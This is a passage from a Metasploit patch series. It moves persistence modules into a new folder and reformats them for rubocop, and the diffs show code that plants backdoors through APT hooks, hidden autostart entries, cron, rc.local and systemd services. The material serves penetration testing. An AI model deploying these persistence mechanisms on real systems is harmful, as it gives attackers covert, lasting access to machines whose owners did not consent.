From 62b951d5cbeb99bfcc0dc94d88b2d0cfc083f43b Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 17 Jan 2025 16:40:04 -0500 Subject: [PATCH 01/94] move persistence files to their own folder --- .../linux}/apt_package_manager_persistence.md | 0 .../linux/local => persistence/linux}/autostart_persistence.md | 0 .../linux/local => persistence/linux}/bash_profile_persistence.md | 0 .../linux/local => persistence/linux}/cron_persistence.md | 0 .../linux/local => persistence/linux}/motd_persistence.md | 0 .../linux/local => persistence/linux}/rc_local_persistence.md | 0 .../linux/manage => persistence/linux}/sshkey_persistence.md | 0 .../linux}/yum_package_manager_persistence.md | 0 .../local => persistence/multi}/obsidian_plugin_persistence.md | 0 .../{exploit/unix/local => persistence/unix}/at_persistence.md | 0 .../windows}/persistence_image_exec_options.md | 0 .../windows/local => persistence/windows}/persistence_service.md | 0 .../{exploit/windows/local => persistence/windows}/ps_persist.md | 0 .../windows/manage => persistence/windows}/sshkey_persistence.md | 0 .../linux}/apt_package_manager_persistence.rb | 0 .../linux/local => persistence/linux}/autostart_persistence.rb | 0 .../linux/local => persistence/linux}/bash_profile_persistence.rb | 0 .../linux/local => persistence/linux}/cron_persistence.rb | 0 .../linux/local => persistence/linux}/motd_persistence.rb | 0 .../linux/local => persistence/linux}/rc_local_persistence.rb | 0 .../linux/local => persistence/linux}/service_persistence.rb | 0 .../linux/manage => persistence/linux}/sshkey_persistence.rb | 0 .../linux}/yum_package_manager_persistence.rb | 0 .../local => persistence/multi}/obsidian_plugin_persistence.rb | 0 modules/{exploits/osx/local => persistence/osx}/persistence.rb | 0 .../{exploits/unix/local => persistence/unix}/at_persistence.rb | 0 .../windows/local => persistence/windows}/persistence.rb | 0 .../windows/manage => persistence/windows}/persistence_exe.rb | 0 .../windows}/persistence_image_exec_options.rb | 0 .../windows/local => persistence/windows}/persistence_service.rb | 0 .../{exploits/windows/local => persistence/windows}/ps_persist.rb | 0 .../windows/local => persistence/windows}/registry_persistence.rb | 0 .../windows/local => persistence/windows}/s4u_persistence.rb | 0 .../windows/manage => persistence/windows}/sshkey_persistence.rb | 0 .../{post/windows/manage => persistence/windows}/sticky_keys.rb | 0 .../windows/local => persistence/windows}/vss_persistence.rb | 0 .../windows/local => persistence/windows}/wmi_persistence.rb | 0 37 files changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/{exploit/linux/local => persistence/linux}/apt_package_manager_persistence.md (100%) rename documentation/modules/{exploit/linux/local => persistence/linux}/autostart_persistence.md (100%) rename documentation/modules/{exploit/linux/local => persistence/linux}/bash_profile_persistence.md (100%) rename documentation/modules/{exploit/linux/local => persistence/linux}/cron_persistence.md (100%) rename documentation/modules/{exploit/linux/local => persistence/linux}/motd_persistence.md (100%) rename documentation/modules/{exploit/linux/local => persistence/linux}/rc_local_persistence.md (100%) rename documentation/modules/{post/linux/manage => persistence/linux}/sshkey_persistence.md (100%) rename documentation/modules/{exploit/linux/local => persistence/linux}/yum_package_manager_persistence.md (100%) rename documentation/modules/{exploit/multi/local => persistence/multi}/obsidian_plugin_persistence.md (100%) rename documentation/modules/{exploit/unix/local => persistence/unix}/at_persistence.md (100%) rename documentation/modules/{exploit/windows/local => persistence/windows}/persistence_image_exec_options.md (100%) rename documentation/modules/{exploit/windows/local => persistence/windows}/persistence_service.md (100%) rename documentation/modules/{exploit/windows/local => persistence/windows}/ps_persist.md (100%) rename documentation/modules/{post/windows/manage => persistence/windows}/sshkey_persistence.md (100%) rename modules/{exploits/linux/local => persistence/linux}/apt_package_manager_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/autostart_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/bash_profile_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/cron_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/motd_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/rc_local_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/service_persistence.rb (100%) rename modules/{post/linux/manage => persistence/linux}/sshkey_persistence.rb (100%) rename modules/{exploits/linux/local => persistence/linux}/yum_package_manager_persistence.rb (100%) rename modules/{exploits/multi/local => persistence/multi}/obsidian_plugin_persistence.rb (100%) rename modules/{exploits/osx/local => persistence/osx}/persistence.rb (100%) rename modules/{exploits/unix/local => persistence/unix}/at_persistence.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/persistence.rb (100%) rename modules/{post/windows/manage => persistence/windows}/persistence_exe.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/persistence_image_exec_options.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/persistence_service.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/ps_persist.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/registry_persistence.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/s4u_persistence.rb (100%) rename modules/{post/windows/manage => persistence/windows}/sshkey_persistence.rb (100%) rename modules/{post/windows/manage => persistence/windows}/sticky_keys.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/vss_persistence.rb (100%) rename modules/{exploits/windows/local => persistence/windows}/wmi_persistence.rb (100%) diff --git a/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md b/documentation/modules/persistence/linux/apt_package_manager_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/apt_package_manager_persistence.md rename to documentation/modules/persistence/linux/apt_package_manager_persistence.md diff --git a/documentation/modules/exploit/linux/local/autostart_persistence.md b/documentation/modules/persistence/linux/autostart_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/autostart_persistence.md rename to documentation/modules/persistence/linux/autostart_persistence.md diff --git a/documentation/modules/exploit/linux/local/bash_profile_persistence.md b/documentation/modules/persistence/linux/bash_profile_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/bash_profile_persistence.md rename to documentation/modules/persistence/linux/bash_profile_persistence.md diff --git a/documentation/modules/exploit/linux/local/cron_persistence.md b/documentation/modules/persistence/linux/cron_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/cron_persistence.md rename to documentation/modules/persistence/linux/cron_persistence.md diff --git a/documentation/modules/exploit/linux/local/motd_persistence.md b/documentation/modules/persistence/linux/motd_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/motd_persistence.md rename to documentation/modules/persistence/linux/motd_persistence.md diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/persistence/linux/rc_local_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/rc_local_persistence.md rename to documentation/modules/persistence/linux/rc_local_persistence.md diff --git a/documentation/modules/post/linux/manage/sshkey_persistence.md b/documentation/modules/persistence/linux/sshkey_persistence.md similarity index 100% rename from documentation/modules/post/linux/manage/sshkey_persistence.md rename to documentation/modules/persistence/linux/sshkey_persistence.md diff --git a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md b/documentation/modules/persistence/linux/yum_package_manager_persistence.md similarity index 100% rename from documentation/modules/exploit/linux/local/yum_package_manager_persistence.md rename to documentation/modules/persistence/linux/yum_package_manager_persistence.md diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/persistence/multi/obsidian_plugin_persistence.md similarity index 100% rename from documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md rename to documentation/modules/persistence/multi/obsidian_plugin_persistence.md diff --git a/documentation/modules/exploit/unix/local/at_persistence.md b/documentation/modules/persistence/unix/at_persistence.md similarity index 100% rename from documentation/modules/exploit/unix/local/at_persistence.md rename to documentation/modules/persistence/unix/at_persistence.md diff --git a/documentation/modules/exploit/windows/local/persistence_image_exec_options.md b/documentation/modules/persistence/windows/persistence_image_exec_options.md similarity index 100% rename from documentation/modules/exploit/windows/local/persistence_image_exec_options.md rename to documentation/modules/persistence/windows/persistence_image_exec_options.md diff --git a/documentation/modules/exploit/windows/local/persistence_service.md b/documentation/modules/persistence/windows/persistence_service.md similarity index 100% rename from documentation/modules/exploit/windows/local/persistence_service.md rename to documentation/modules/persistence/windows/persistence_service.md diff --git a/documentation/modules/exploit/windows/local/ps_persist.md b/documentation/modules/persistence/windows/ps_persist.md similarity index 100% rename from documentation/modules/exploit/windows/local/ps_persist.md rename to documentation/modules/persistence/windows/ps_persist.md diff --git a/documentation/modules/post/windows/manage/sshkey_persistence.md b/documentation/modules/persistence/windows/sshkey_persistence.md similarity index 100% rename from documentation/modules/post/windows/manage/sshkey_persistence.md rename to documentation/modules/persistence/windows/sshkey_persistence.md diff --git a/modules/exploits/linux/local/apt_package_manager_persistence.rb b/modules/persistence/linux/apt_package_manager_persistence.rb similarity index 100% rename from modules/exploits/linux/local/apt_package_manager_persistence.rb rename to modules/persistence/linux/apt_package_manager_persistence.rb diff --git a/modules/exploits/linux/local/autostart_persistence.rb b/modules/persistence/linux/autostart_persistence.rb similarity index 100% rename from modules/exploits/linux/local/autostart_persistence.rb rename to modules/persistence/linux/autostart_persistence.rb diff --git a/modules/exploits/linux/local/bash_profile_persistence.rb b/modules/persistence/linux/bash_profile_persistence.rb similarity index 100% rename from modules/exploits/linux/local/bash_profile_persistence.rb rename to modules/persistence/linux/bash_profile_persistence.rb diff --git a/modules/exploits/linux/local/cron_persistence.rb b/modules/persistence/linux/cron_persistence.rb similarity index 100% rename from modules/exploits/linux/local/cron_persistence.rb rename to modules/persistence/linux/cron_persistence.rb diff --git a/modules/exploits/linux/local/motd_persistence.rb b/modules/persistence/linux/motd_persistence.rb similarity index 100% rename from modules/exploits/linux/local/motd_persistence.rb rename to modules/persistence/linux/motd_persistence.rb diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/persistence/linux/rc_local_persistence.rb similarity index 100% rename from modules/exploits/linux/local/rc_local_persistence.rb rename to modules/persistence/linux/rc_local_persistence.rb diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/persistence/linux/service_persistence.rb similarity index 100% rename from modules/exploits/linux/local/service_persistence.rb rename to modules/persistence/linux/service_persistence.rb diff --git a/modules/post/linux/manage/sshkey_persistence.rb b/modules/persistence/linux/sshkey_persistence.rb similarity index 100% rename from modules/post/linux/manage/sshkey_persistence.rb rename to modules/persistence/linux/sshkey_persistence.rb diff --git a/modules/exploits/linux/local/yum_package_manager_persistence.rb b/modules/persistence/linux/yum_package_manager_persistence.rb similarity index 100% rename from modules/exploits/linux/local/yum_package_manager_persistence.rb rename to modules/persistence/linux/yum_package_manager_persistence.rb diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/persistence/multi/obsidian_plugin_persistence.rb similarity index 100% rename from modules/exploits/multi/local/obsidian_plugin_persistence.rb rename to modules/persistence/multi/obsidian_plugin_persistence.rb diff --git a/modules/exploits/osx/local/persistence.rb b/modules/persistence/osx/persistence.rb similarity index 100% rename from modules/exploits/osx/local/persistence.rb rename to modules/persistence/osx/persistence.rb diff --git a/modules/exploits/unix/local/at_persistence.rb b/modules/persistence/unix/at_persistence.rb similarity index 100% rename from modules/exploits/unix/local/at_persistence.rb rename to modules/persistence/unix/at_persistence.rb diff --git a/modules/exploits/windows/local/persistence.rb b/modules/persistence/windows/persistence.rb similarity index 100% rename from modules/exploits/windows/local/persistence.rb rename to modules/persistence/windows/persistence.rb diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/persistence/windows/persistence_exe.rb similarity index 100% rename from modules/post/windows/manage/persistence_exe.rb rename to modules/persistence/windows/persistence_exe.rb diff --git a/modules/exploits/windows/local/persistence_image_exec_options.rb b/modules/persistence/windows/persistence_image_exec_options.rb similarity index 100% rename from modules/exploits/windows/local/persistence_image_exec_options.rb rename to modules/persistence/windows/persistence_image_exec_options.rb diff --git a/modules/exploits/windows/local/persistence_service.rb b/modules/persistence/windows/persistence_service.rb similarity index 100% rename from modules/exploits/windows/local/persistence_service.rb rename to modules/persistence/windows/persistence_service.rb diff --git a/modules/exploits/windows/local/ps_persist.rb b/modules/persistence/windows/ps_persist.rb similarity index 100% rename from modules/exploits/windows/local/ps_persist.rb rename to modules/persistence/windows/ps_persist.rb diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/persistence/windows/registry_persistence.rb similarity index 100% rename from modules/exploits/windows/local/registry_persistence.rb rename to modules/persistence/windows/registry_persistence.rb diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/persistence/windows/s4u_persistence.rb similarity index 100% rename from modules/exploits/windows/local/s4u_persistence.rb rename to modules/persistence/windows/s4u_persistence.rb diff --git a/modules/post/windows/manage/sshkey_persistence.rb b/modules/persistence/windows/sshkey_persistence.rb similarity index 100% rename from modules/post/windows/manage/sshkey_persistence.rb rename to modules/persistence/windows/sshkey_persistence.rb diff --git a/modules/post/windows/manage/sticky_keys.rb b/modules/persistence/windows/sticky_keys.rb similarity index 100% rename from modules/post/windows/manage/sticky_keys.rb rename to modules/persistence/windows/sticky_keys.rb diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/persistence/windows/vss_persistence.rb similarity index 100% rename from modules/exploits/windows/local/vss_persistence.rb rename to modules/persistence/windows/vss_persistence.rb diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/persistence/windows/wmi_persistence.rb similarity index 100% rename from modules/exploits/windows/local/wmi_persistence.rb rename to modules/persistence/windows/wmi_persistence.rb From b9539bb99c88a8ef694cd579dba2a8c29d7a011d Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 17 Jan 2025 16:47:20 -0500 Subject: [PATCH 02/94] rubocop persistence modules --- .../linux/apt_package_manager_persistence.rb | 50 +++-- .../linux/autostart_persistence.rb | 58 +++--- modules/persistence/linux/cron_persistence.rb | 55 +++-- .../persistence/linux/rc_local_persistence.rb | 49 +++-- .../persistence/linux/service_persistence.rb | 176 ++++++++-------- .../linux/yum_package_manager_persistence.rb | 60 +++--- modules/persistence/unix/at_persistence.rb | 2 +- modules/persistence/windows/persistence.rb | 118 +++++------ .../windows/persistence_image_exec_options.rb | 20 +- .../windows/persistence_service.rb | 30 +-- modules/persistence/windows/ps_persist.rb | 38 ++-- .../windows/registry_persistence.rb | 109 +++++----- .../persistence/windows/s4u_persistence.rb | 6 +- .../persistence/windows/wmi_persistence.rb | 196 +++++++++--------- 14 files changed, 491 insertions(+), 476 deletions(-) diff --git a/modules/persistence/linux/apt_package_manager_persistence.rb b/modules/persistence/linux/apt_package_manager_persistence.rb index 4aa45f21e4e7..db9eaf1640b3 100644 --- a/modules/persistence/linux/apt_package_manager_persistence.rb +++ b/modules/persistence/linux/apt_package_manager_persistence.rb @@ -11,19 +11,20 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::System def initialize(info = {}) - super(update_info(info, - 'Name' => 'APT Package Manager Persistence', - 'Description' => %q( - This module will run a payload when the package manager is used. No - handler is ran automatically so you must configure an appropriate - exploit/multi/handler to connect. This module creates a pre-invoke hook - for APT in apt.conf.d. The hook name syntax is numeric followed by text. - ), - 'License' => MSF_LICENSE, - 'Author' => ['Aaron Ringo'], - 'Platform' => ['linux', 'unix'], - 'Arch' => - [ + super( + update_info( + info, + 'Name' => 'APT Package Manager Persistence', + 'Description' => %q{ + This module will run a payload when the package manager is used. No + handler is ran automatically so you must configure an appropriate + exploit/multi/handler to connect. This module creates a pre-invoke hook + for APT in apt.conf.d. The hook name syntax is numeric followed by text. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Aaron Ringo'], + 'Platform' => ['linux', 'unix'], + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, @@ -33,24 +34,27 @@ def initialize(info = {}) ARCH_MIPSLE, ARCH_MIPSBE ], - 'SessionTypes' => ['shell', 'meterpreter'], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, - 'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian - 'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'], - 'Targets' => [['Automatic', {}]], - 'DefaultTarget' => 0 - )) + 'SessionTypes' => ['shell', 'meterpreter'], + 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, + 'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian + 'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0 + ) + ) register_options( [ OptString.new('HOOKNAME', [false, 'Name of hook file to write']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) - ]) + ] + ) register_advanced_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']) - ]) + ] + ) end def exploit @@ -89,6 +93,6 @@ def exploit print_status('Backdoor will run on next APT update') # permissions chosen to reflect common perms in /usr/local/bin/ - chmod(backdoor_path, 0755) + chmod(backdoor_path, 0o755) end end diff --git a/modules/persistence/linux/autostart_persistence.rb b/modules/persistence/linux/autostart_persistence.rb index 61d03e5ae42e..8e23ef04996d 100644 --- a/modules/persistence/linux/autostart_persistence.rb +++ b/modules/persistence/linux/autostart_persistence.rb @@ -10,29 +10,32 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Unix def initialize(info = {}) - super(update_info(info, - 'Name' => 'Autostart Desktop Item Persistence', - 'Description' => %q( - This module will create an autostart entry to execute a payload. - The payload will be executed when the users logs in. - ), - 'License' => MSF_LICENSE, - 'Author' => [ 'Eliott Teissonniere' ], - 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, - 'Payload' => { - 'BadChars' => '#%\n"', - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python netcat perl' - } - }, - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, - 'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0 - )) + super( + update_info( + info, + 'Name' => 'Autostart Desktop Item Persistence', + 'Description' => %q{ + This module will create an autostart entry to execute a payload. + The payload will be executed when the users logs in. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Eliott Teissonniere' ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => '#%\n"', + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python netcat perl' + } + }, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, + 'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0 + ) + ) register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ]) end @@ -50,13 +53,12 @@ def exploit print_status("Uploading autostart file #{path}") write_file(path, [ - "[Desktop Entry]", - "Type=Application", + '[Desktop Entry]', + 'Type=Application', "Name=#{name}", - "NoDisplay=true", - "Terminal=false", + 'NoDisplay=true', + 'Terminal=false', "Exec=/bin/sh -c \"#{payload.encoded}\"" ].join("\n")) end end - diff --git a/modules/persistence/linux/cron_persistence.rb b/modules/persistence/linux/cron_persistence.rb index a29d177dc3f4..56d718976501 100644 --- a/modules/persistence/linux/cron_persistence.rb +++ b/modules/persistence/linux/cron_persistence.rb @@ -14,33 +14,30 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Cron Persistence', - 'Description' => %q( + 'Name' => 'Cron Persistence', + 'Description' => %q{ This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to prevent multiple executions. syslog will get a copy of the cron entry. - ), - 'License' => MSF_LICENSE, - 'Author' => - [ - 'h00die ' - ], - 'Platform' => ['unix', 'linux'], - 'Targets' => - [ - [ 'Cron', { :path => '/etc/cron.d' } ], - [ 'User Crontab', { :path => '/var/spool/cron' } ], - [ 'System Crontab', { :path => '/etc' } ] - ], - 'DefaultTarget' => 1, - 'Arch' => ARCH_CMD, - 'Payload' => - { - 'BadChars' => "#%\x10\x13", # is for comments, % is for newline - 'Compat' => + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ' + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ 'Cron', { path: '/etc/cron.d' } ], + [ 'User Crontab', { path: '/var/spool/cron' } ], + [ 'System Crontab', { path: '/etc' } ] + ], + 'DefaultTarget' => 1, + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "#%\x10\x13", # is for comments, % is for newline + 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python' + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby python' } }, 'DefaultOptions' => { 'WfsDelay' => 90 }, @@ -96,7 +93,7 @@ def exploit vprint_good("Writing #{cron_entry} to #{file_to_clean}") # at least on ubuntu, we need to reload cron to get this to work vprint_status('Reloading cron to pickup new entry') - cmd_exec("service cron reload") + cmd_exec('service cron reload') end print_status("Waiting #{datastore['WfsDelay']}sec for execution") Rex.sleep(datastore['WfsDelay'].to_i) @@ -108,7 +105,7 @@ def exploit cmd_exec("mv #{file_to_clean}.new #{file_to_clean}") # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed if target.name == 'User Crontab' # make sure we clean out of memory - cmd_exec("service cron reload") + cmd_exec('service cron reload') end end end @@ -119,11 +116,9 @@ def user_cron_permission?(user) paths = ['/etc/', '/etc/cron.d/'] paths.each do |path| cron_auth = read_file("#{path}cron.allow") - if cron_auth - if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/ - vprint_good("User located in #{path}cron.allow") - return true - end + if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/) + vprint_good("User located in #{path}cron.allow") + return true end cron_auths = read_file("#{path}cron.deny") if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ diff --git a/modules/persistence/linux/rc_local_persistence.rb b/modules/persistence/linux/rc_local_persistence.rb index 776c9334d18f..fdcbb8fed34f 100644 --- a/modules/persistence/linux/rc_local_persistence.rb +++ b/modules/persistence/linux/rc_local_persistence.rb @@ -10,29 +10,32 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Unix def initialize(info = {}) - super(update_info(info, - 'Name' => 'rc.local Persistence', - 'Description' => %q( - This module will edit /etc/rc.local in order to persist a payload. - The payload will be executed on the next reboot. - ), - 'License' => MSF_LICENSE, - 'Author' => [ 'Eliott Teissonniere' ], - 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, - 'Payload' => { - 'BadChars' => "#%\n", - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python ruby netcat perl' - } - }, - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, - 'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD. - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0 - )) + super( + update_info( + info, + 'Name' => 'rc.local Persistence', + 'Description' => %q{ + This module will edit /etc/rc.local in order to persist a payload. + The payload will be executed on the next reboot. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Eliott Teissonniere' ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "#%\n", + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python ruby netcat perl' + } + }, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, + 'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD. + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0 + ) + ) end def exploit diff --git a/modules/persistence/linux/service_persistence.rb b/modules/persistence/linux/service_persistence.rb index 47efe825d723..c960962e8072 100644 --- a/modules/persistence/linux/service_persistence.rb +++ b/modules/persistence/linux/service_persistence.rb @@ -14,86 +14,99 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Service Persistence', - 'Description' => %q( + 'Name' => 'Service Persistence', + 'Description' => %q{ This module will create a service on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services Targets: - System V: - CentOS <= 5 - Debian <= 6 - Kali 2.0 - Ubuntu <= 9.04 - Upstart: - CentOS 6 - Fedora >= 9, < 15 - Ubuntu >= 9.10, <= 14.10 - systemd: - CentOS 7 - Debian >= 7, <=8 - Fedora >= 15 - Ubuntu >= 15.04 + System V: + CentOS <= 5 + Debian <= 6 + Kali 2.0 + Ubuntu <= 9.04 + Upstart: + CentOS 6 + Fedora >= 9, < 15 + Ubuntu >= 9.10, <= 14.10 + systemd: + CentOS 7 + Debian >= 7, <=8 + Fedora >= 15 + Ubuntu >= 15.04 Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. - ), - 'License' => MSF_LICENSE, - 'Author' => + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ', + 'Cale Black' # systemd user target + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'Auto', { + 'DefaultOptions' => + { + 'BACKDOOR_PATH' => '/usr/local/bin' + } + } + ], + [ + 'System V', { + :runlevel => '2 3 4 5', 'DefaultOptions' => + { + 'BACKDOOR_PATH' => '/usr/local/bin' + } + } + ], [ - 'h00die ', - 'Cale Black' # systemd user target + 'Upstart', { + :runlevel => '2345', 'DefaultOptions' => + { + 'BACKDOOR_PATH' => '/usr/local/bin' + } + } ], - 'Platform' => ['unix', 'linux'], - 'Targets' => [ - ['Auto', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - ['System V', :runlevel => '2 3 4 5', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - ['Upstart', :runlevel => '2345', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - ['openrc', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - ['systemd', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - ['systemd user', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/tmp' - } - ] + 'openrc', { + 'DefaultOptions' => + { + 'BACKDOOR_PATH' => '/usr/local/bin' + } + } ], - 'DefaultTarget' => 0, - 'Arch' => ARCH_CMD, - 'References' => [ - ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'] + 'systemd', { + 'DefaultOptions' => + { + 'BACKDOOR_PATH' => '/usr/local/bin' + } + } ], - 'Payload' => - { - 'Compat' => + [ + 'systemd user', { + 'DefaultOptions' => + { + 'BACKDOOR_PATH' => '/tmp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'Arch' => ARCH_CMD, + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'] + ], + 'Payload' => { + 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down } }, - 'DefaultOptions' => - { - 'WfsDelay' => 5 - }, - 'DisclosureDate' => '1983-01-01', # system v release date + 'DefaultOptions' => { + 'WfsDelay' => 5 + }, + 'DisclosureDate' => '1983-01-01' # system v release date ) ) @@ -116,6 +129,7 @@ def exploit if backdoor.nil? return end + path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] case target.name @@ -159,7 +173,7 @@ def service_system_exists?(command) end def write_shell(path) - file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5) + file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") write_file(backdoor, payload.encoded) @@ -174,7 +188,7 @@ def write_shell(path) def systemd(backdoor_path, backdoor_file) # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ - script = %{[Unit] + script = %([Unit] Description=Start daemon at boot time After= Requires= @@ -184,9 +198,9 @@ def systemd(backdoor_path, backdoor_file) TimeoutStartSec=5 ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} [Install] -WantedBy=multi-user.target} +WantedBy=multi-user.target) - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) service_name = "/lib/systemd/system/#{service_filename}.service" vprint_status("Writing service: #{service_name}") write_file(service_name, script) @@ -217,10 +231,10 @@ def systemd_user(backdoor_path, backdoor_file) [Install] WantedBy=default.target EOF - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) home = cmd_exec('echo ${HOME}') - vprint_status("Creating user service directory") + vprint_status('Creating user service directory') cmd_exec("mkdir -p #{home}/.config/systemd/user") service_name = "#{home}/.config/systemd/user/#{service_filename}.service" @@ -230,7 +244,7 @@ def systemd_user(backdoor_path, backdoor_file) if !file_exist?(service_name) print_error('File not written, check permissions. Attempting secondary location') - vprint_status("Creating user secondary service directory") + vprint_status('Creating user secondary service directory') cmd_exec("mkdir -p #{home}/.local/share/systemd/user") service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service" @@ -261,7 +275,7 @@ def systemd_user(backdoor_path, 